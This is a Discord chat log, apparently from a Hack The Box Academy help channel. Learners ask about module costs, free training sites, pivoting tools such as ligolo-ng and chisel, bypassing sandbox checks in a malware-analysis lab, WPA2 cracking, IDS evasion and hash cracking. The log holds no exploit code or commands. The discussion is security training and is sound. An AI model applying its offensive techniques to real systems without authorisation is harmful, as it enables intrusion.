the extent of any free help i offer is module assistance (because I can't charge money for that)

[hasty cliff]

its out my skills

[hasty cliff]

are u giving it free

I have some skills of gfx

[full nimbus]

lol dude seriously

[fathom pendant]

I only offer help in the public forum

:)

[fathom pendant]

you'd need to have the module unlocked for me to assist you with it; which requires buying them

[hasty cliff]

I thought I am am included n public

[fathom pendant]

you misunderstood

[hasty cliff]

Not enough cubes i have

just 70

[fathom pendant]

https://tenor.com/view/spiderman-tobeymaguire-imissedthepartwherethatsmyproblem-gif-9838697

[limber river]

guys seriously :::(

[fathom pendant]

what's up?

[limber river]

it's just weird to see this kind of conversation here

[hasty cliff]

this is thereal hacker I thought

[fathom pendant]

it's not uncommon

you aren't owed anyone to teach you things for free

i think TryHackMe has a bunch of free stuff

[hasty cliff]

there is only theory

[fathom pendant]

¯_(ツ)_/¯

[hallow kiln]

That's not true, there's plenty of free challenge rooms there

[acoustic owl]

So, now once again in all clarity:

The Academy offers a few modules free of charge. Once you have done these, you have no choice but to buy further modules.

If you need help with one of the modules, you can ask for help here and someone will help you find the right answer.

[limber river]

bro , it's what it is you need to pay for modules beyond tier 0 , maybe you can use other platforms like portswigger , maybe some free room in thm

[hallow kiln]

Good point, Portswigger is completely free and a very good platform

[hasty cliff]

any other other that is free

course or whatever lese

else*

[hallow kiln]

We just told you

[fathom pendant]

just bear in mind price doesn't equate to quality (though i've heard nothing but good things about PortSwigger ¯_(ツ)_/¯

[hasty cliff]

thnx

[limber river]

idk just google it , you can always find good resources

[fathom pendant]

and being honest a lot of courses are just pulling together already existing resources

[hasty cliff]

how professional u are

[limber river]

just a beginner

[fathom pendant]

i.e. pulling together knowledge of HTTP requests and making the information more easily digestible

[hallow kiln]

People here are volunteering their time to help

[hasty cliff]

i dont think

[limber river]

hahahahahahaha

[fathom pendant]

it's not hard to reach hacker rank on HTB ¯_(ツ)_/¯

just a handful of active easy boxes and challenges and you're there

[hasty cliff]

what is ur os

[fathom pendant]

OS doesn't matter

at least, linux distro doesn't

[hasty cliff]

really not

[ebon jasper]

Hello my friend 👋 You know portswigger requires subscriptions, because to complete some lab requires professional burp suite but in hackthebox tier 2 xss module I complete similiar task without using professional burp suite.

[hasty cliff]

but as a rofessional which u recommend

[fathom pendant]

there's people that hack off Macs, Windows too

¯_(ツ)_/¯

[limber river]

yeah , once you try to move to the next rank , you start feeling the pain

[ebon jasper]

I mean portswigger teaches web app security only with burp suite, even though there are other ways

[fathom pendant]

I have a bias towards ParrotOS

[hallow kiln]

The majority of the labs can be completed without Burp Pro, and if you decide to take the exam and finish the remaining labs, you can request a 30-day free trial

[fathom pendant]

ParrotOS and Kali are standard; but you can literally use any distro

[limber river]

I mean you can learn a lot using only the free version of burp

[fathom pendant]

you can take the BSCP with the free trial version of pro btw

[ebon jasper]

Yes, that is correct

[umbral fulcrum]

https://tenor.com/view/tobey-maguire-sad-wah-wahh-cry-gif-15729067800335956216

[fathom pendant]

with?

i'd suggest learning and setting up ligolo-ng for pivoting

[umbral fulcrum]

isn't it like chisel?

[fathom pendant]

it's better

[full nimbus]

ligolo uses tunnel interface, so you can do routing & stuff

[fathom pendant]

everyone that I know that's used Ligolo has liked it 10000x better than chisel

and the other base methods in the pivoting module

[full nimbus]

probably you can also do a socks proxy via SSH-ing B to C, then C to D, and put all those hops in proxychains config

[plain coral]

[echo sage]

hello! anyone recently did the code analysis part of the malware analasys module? I'm struggleing with debugging and the skills assessment. anyone know weather it is required to setup inetsim to get the shell to do the process injection into notepad.exe? Also i bypassed all the three sandbox checks in x64dgb but still get the "Sandbox Detected" Message from the patched shell.exe. Is this correct?

[full nimbus]

Finally, Thanks all, especially @fathom pendant @analog dock @next bronze and others

[analog dock]

Well done!

[sharp rain]

Sry I couldn't really find out where to ask so here it is: Is it allowed to use the pawnbox for private purposes as long as it is legal for example to crack your own wifi hash?

[full nimbus]

On a side note, when exactly my cube budget will be renewed 😄

[fathom pendant]

should probably check ToS on that one; but HtB has no way of proving you doing anything offline (just be careful with it), the other thing would be asking support on the website

but if you're referring to using the in-browser vm to do stuff like wifi sniffing... then you're SoL on that as that's literally impossible for the in-browser vm to do anything like that

[fathom pendant]

you know hashcat has a windows version yeah?

[sharp rain]

My pc hasnt power enough for a 20 number password

[full nimbus]

Your PC should be enough for the htb labs, cracking a modern WPA password can take months even with a good GPU. I don't think htb boxes will have more power tha nyour own pc

[echo sage]

i guess the box wont either

[fathom pendant]

most devices won't my dude

[fathom pendant]

this

more digits/characters available exponentially increases the time it takes

the pwnbox instances are spun up vms, they aren't meant to be cracking rigs

[sharp rain]

So standard wifi passwords are usually not so easy to crack?

[fathom pendant]

if using WPA3, yes

[sharp rain]

Wpa2

[full nimbus]

it was easy 10 years ago with wep / WPA1 😄

[fathom pendant]

it also just highly depends on how complex/long it is

[sharp rain]

20 numbers

[fathom pendant]

if it's just numbers it'll be exponentially easier than numbers AND letters

but this is breaking away from module talk

read #welcome on how to access more of the server

[sharp rain]

Ok and where can i ask this questions but thx for the answers

[fathom pendant]

¯_(ツ)_/¯

use best judgement when viewing the channel names

and decide which would be best

[full nimbus]

If it's for educational purpose you can just put your password into a wordlist to test

[pulsar wave]

on discord in serious discussion it is saying do not have permissions??? is it with all?

[sharp rain]

Yeah but it’s unrealistic xD i wanted to test with brute force but …

[fathom pendant]

you need to link your https://app.hackthebox.com/ account following #welcome

instructions are hard to read ik

[pulsar wave]

ooohhh thank you

[rustic sage]

Hello I am new

How do I verify myself?

[acoustic owl]

Read and follow #welcome

[rustic sage]

No like

I copied my account identifier

I used /identity with my identifier

It didnt work

[fathom pendant]

"it didn't work" is the best error

did it tell you to message a mod; or that it was incorrect

[rustic sage]

My message wasn't going to the mod itself

I tried to message the mod

Clyde was interfering

[acoustic owl]

Feel free to send me a dm

[rustic sage]

Is there any mod that can like yk identify my HTB account and verify me

Hello

[acoustic owl]

Feel free to send me a dm

[rustic sage]

I think u got to add me to make me send u a message

[acoustic owl]

my messages are open

[fathom pendant]

it's likely your message settings then

[rustic sage]

How do I change it

[fathom pendant]

https://support.discord.com/hc/en-us/articles/217916488-Blocking-Privacy-Settings-

[rustic sage]

Ok now it's working

Can any mod please verify me? The hackster bot isn't working

[fathom pendant]

just DM @acoustic owl now to get the gears moving

[rustic sage]

Alr mate

@marsh echo

Can ya help me pls?

[fathom pendant]

@marsh echo isn't a mod

[marsh echo]

ahaha i learn bro

[fathom pendant]

Payload has given you permission, several times as well, to DM for assistance with your verification thing

[marsh echo]

but I'd be delighted to help you if I've already done the exercise.

i don't find the user/password for this room, I've listed the pop and imap mail servers but I can't connect to them. port 25 is closed can't do anything about it https://academy.hackthebox.com/module/112/section/1080

[fathom pendant]

read the engagement carefully

check UDP as well

the wording is very important

[marsh echo]

okok 😉 thanks

[lusty hearth]

can someone please help me with the 'Advanced XSS and CSRF Exploitation' - 'CORS Misconfigurations' section? I am having a hard time understanding the challenge.

[acoustic owl]

What exactly is the problem?

[latent oasis]

I have an issue with a module, I don't access internet from the virtual machine, then I cannot access some data on the web and finish my module. Does anyone had this kind of behavior ?

[supple gorge]

just cruious, IDS/IPS evasion / easy lab... is this a shared intance?

My alerts are going up every time I refresh. Unless that's intended

I'll try reseting my target

[acoustic owl]

It's all about not being recognized. So be as quiet as possible. Every request makes noise

[fathom pendant]

^

every time you load a page: it's calling a get request

[supple gorge]

including the GET request for the status page?

I thought it was weird cuz it spawned with 30 alerts.

Yesterday night it spawned with 0 and GET requests wasn't incrementing it

[fathom pendant]

¯_(ツ)_/¯

sometimes it's dumb

[supple gorge]

freshly spawned with 16 alerts...

oh well, I'm gonna assume it's intended

[fathom pendant]

chalk it up to "It's dumb"

[latent oasis]

is there any configuration in order to copy content from my local machine and paste it in the virtual machine ?

[supple gorge]

huh? is this a htb or a your vm on vmware/virtual box?

[fathom pendant]

elaborate: most virtual machines have a clipboard function

[latent oasis]

htb vm

[fathom pendant]

virtualbox has guest additions that you'd need to install

the pwnbox has ssh enabled

so you can do scp

[supple gorge]

pwnbox?

I don't think you can copy and paste on pawnbox to your host

[fathom pendant]

you can; the pwnbox has SSH enabled

[supple gorge]

well... but that would be through an ssh shell... I was referring to the web view thingy

[fathom pendant]

you can 100% access the spawned pwnbox via ssh/scp

scp

[latent oasis]

Then I have an issue, I don't have access to internet in the virtual machine and cannot access to some data in order to finish the modul ...

[supple gorge]

can you rdp into pwnbox?

[fathom pendant]

haven't tried that ¯_(ツ)_/¯

[supple gorge]

something about buying cubes, marcie knows more

[fathom pendant]

literally just this

buying cubes or a subscription

alternatively: just use your own vm, not the in-browser pwnbox

[latent oasis]

why I haven't access to internet in the vm ?

[fathom pendant]

internet access is limited for users that haven't made a purchase on academy

buying any cubes/subscription allows unlimited access ¯_(ツ)_/¯

[latent oasis]

Ok, and you say I can handle it from my own vm ?

[fathom pendant]

yes

[supple gorge]

if you vpn into it, yes

[fathom pendant]

yep

see the module: Setting Up for assistance with setting up your own vm

[latent oasis]

Okay, thank you for all your returns, I will try it 🙂

[latent oasis]

Can you copy/paste the link of this module ?

[supple gorge]

Marcie, is the module name "getting started" or is it a different one

[fathom pendant]

you can find it in academy

[fathom pendant]

different

there's legit a module called "Setting Up"

[long pecan]

hello im new to the server and i was wondering where i could ask some general questions?

i know its not here lol

[manic lantern]

Hey, is it just me or are the target boxes awfully slow?
Even though I have these speeds:

For real I have to wait 5 to 10 seconds for the highlighting in submenu's to move, and get "Retrying connection every 5 to 10 mins"

[fathom pendant]

reading #welcome helps you get the layout of some servers

[fathom pendant]

this is only for the pwnbox, this isn't related to the targets

what affects targets is gonna be the vpn server they're linked to

[manic lantern]

EU Academy

[fathom pendant]

you'd need to ping <target IP> to get an idea of your connection.

[fathom pendant]

there's like 3 EU academy vpn servers my dude

2* my bad

[manic lantern]

Yeah and I'm trying the second one as we speak.

[fathom pendant]

try the us ones

¯_(ツ)_/¯

sometimes the vpn servers hit the strugglebus and moving to a different region/tcp works

[manic lantern]

Switching to US to EU2 seems to have helped a bit

ty

[fathom pendant]

it's one of those weird things that pops op every so often

[rustic sage]

Hello

Can we use HTB in mobile or tablet?

[manic lantern]

Can imagine

[fathom pendant]

only if you want to experience pain

[rustic sage]

Bet

[fathom pendant]

you'd need a keyboard as the pwnbox does not recognize the tablet/phone interface for keyboard stuff

alternatively if you have like Kali Nethunter sideloaded on your phone/tablet that may also work; but like wouldn't recommend

[umbral fulcrum]

hey @fathom pendant I have a problem setting the agent on ligolo-ng
may I consult with u?

[supple gorge]

use a specific app, not sure, but apparantly makes things easier

[fathom pendant]

i haven't used it personally, but you can likely find videos linked in this channel

[supple gorge]

I did the madness or making commands on a note, copy, paste it to pwn box, select, delete... it was super pain

[fathom pendant]

or just videos in general searching youtube

[fathom pendant]

take 1000x longer

[umbral fulcrum]

I'm after that :(...

[tulip parrot]

Module : Documentation & Reporting Practice Lab
Hello i m stuck here i got the hashs for ||dc01$|| but there is no way i got to crack them.
John tell me that No password hashes loaded and hashcat is exhausted.
any help will be pleasant

[latent oasis]

working fine with vpn, thank you @fathom pendant

[safe dock]

Guys how to give wordlist location in gobuster

[wanton jasper]

google it. There are thousands of sites with examples. Can also look at the documentation for the tool.